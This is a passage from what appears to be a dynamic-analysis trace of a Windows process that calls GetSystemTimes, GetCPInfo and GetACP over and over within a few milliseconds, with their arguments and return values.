lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.747] GetACP () returned 0x4e4 [0051.747] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.748] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.748] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.749] GetACP () returned 0x4e4 [0051.749] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.750] GetACP () returned 0x4e4 [0051.750] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.751] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.751] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.752] GetACP () returned 0x4e4 [0051.752] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.753] GetACP () returned 0x4e4 [0051.753] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.753] GetACP () returned 0x4e4 [0051.753] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.753] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.754] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.754] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.754] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.754] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.754] GetACP () returned 0x4e4 [0051.754] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.755] GetACP () returned 0x4e4 [0051.755] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 [0051.756] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0051.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0051.756] GetACP () returned 0x4e4 